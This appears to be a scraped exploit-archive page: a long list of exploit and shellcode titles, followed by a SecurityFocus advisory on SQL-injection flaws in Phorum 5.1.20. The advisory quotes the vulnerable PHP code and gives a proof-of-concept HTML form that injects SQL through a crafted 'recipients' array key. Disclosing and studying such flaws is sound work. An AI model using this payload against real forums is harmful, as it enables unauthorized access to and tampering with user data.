880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
44 lines
No EOL
1.9 KiB
HTML
44 lines
No EOL
1.9 KiB
HTML
source: https://www.securityfocus.com/bid/23616/info
|
|
|
|
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
|
|
|
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
|
|
|
|
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
|
|
|
|
Let's look at source code of "include/db/mysq.php" ~ line 1881 :
|
|
|
|
------------------[source code]----------------------
|
|
function phorum_db_user_get($user_id, $detailed)
|
|
{
|
|
$PHORUM = $GLOBALS["PHORUM"];
|
|
|
|
$conn = phorum_db_mysql_connect();
|
|
|
|
if(is_array($user_id)){
|
|
$user_ids=implode(",", $user_id);
|
|
} else {
|
|
$user_ids=(int)$user_id;
|
|
}
|
|
|
|
$users = array();
|
|
|
|
$sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
|
|
$res = mysql_query($sql, $conn);
|
|
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
|
|
------------------[/source code]----------------------
|
|
|
|
As we can see, if "$user_id" is array, then there is no sanitize against data before
|
|
using in sql query.
|
|
After some research I have found a way to use this bug for sql injection. For this,
|
|
first of all, potential attacker must have valid user account in specific Phorum-powered
|
|
website and he/she must be logged in. And then let's try this proof-of-concept html file:
|
|
|
|
------------------[PoC exploit]-----------------------
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
|
|
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
|
|
<input type="submit" name"test" value="test">
|
|
</body>
|
|
</html> |